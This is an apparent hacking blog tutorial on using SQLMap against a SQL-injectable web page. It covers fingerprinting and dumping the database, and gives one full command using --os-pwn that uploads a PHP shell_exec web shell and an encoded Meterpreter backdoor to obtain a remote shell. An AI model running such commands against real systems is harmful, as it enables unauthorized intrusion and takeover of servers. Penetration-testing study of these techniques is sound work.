How to: SQLMap (dump and destroy)

SQLMap is the tool to automate SQL Injection vulnerability exploitation. This tool is very popular to exploit the SQL Injection vulnerability. While most of web hacker enthusiast knew about this tool to gather information and retrieves the tables information, i try to share this information about the powerful of SQLMap rather than just as “a database dumper tool”.

I will separate this in 3 section, as a fingerprinter (we already knew this), as an enumerator (of course), and as a destroyer (hmm..?!). Check it out.

Fingerprinting

Yes, we knew this at all. Dump the database engine, the version, and the operating system information.

Enumerate Database

Dump the database, yes..SQLMap always do the great stuff!

SQLMap do a great job so far 🙂 Next, take over the system!!

The Metasploit’s Meterpreter over SQL Injection

 

root@bt:/pentest/database/sqlmap# ./sqlmap.py --url "http://192.168.1.102/vid.php?id=818" --msf-path=/opt/metasploit3/msf3 --os-pwn

This time, SQLMap will upload an php file contain shell_exec in order to execute arbitrary command to the remote system via php. After uploaded, SQLMap will trigger the msfpayload (Metasploit Payload) to build “portable executable” meterpreter backdoor. It will be encoded and uploaded via php shell.

When uploaded, SQLMap will trigger “Metasploit listener” called Multi/handler and waiting for the “portable exe backdoor” to be executed. After it executed, the meterpreter shell will come up 🙂
I will skip some information here, because it is too long to be dropped here.
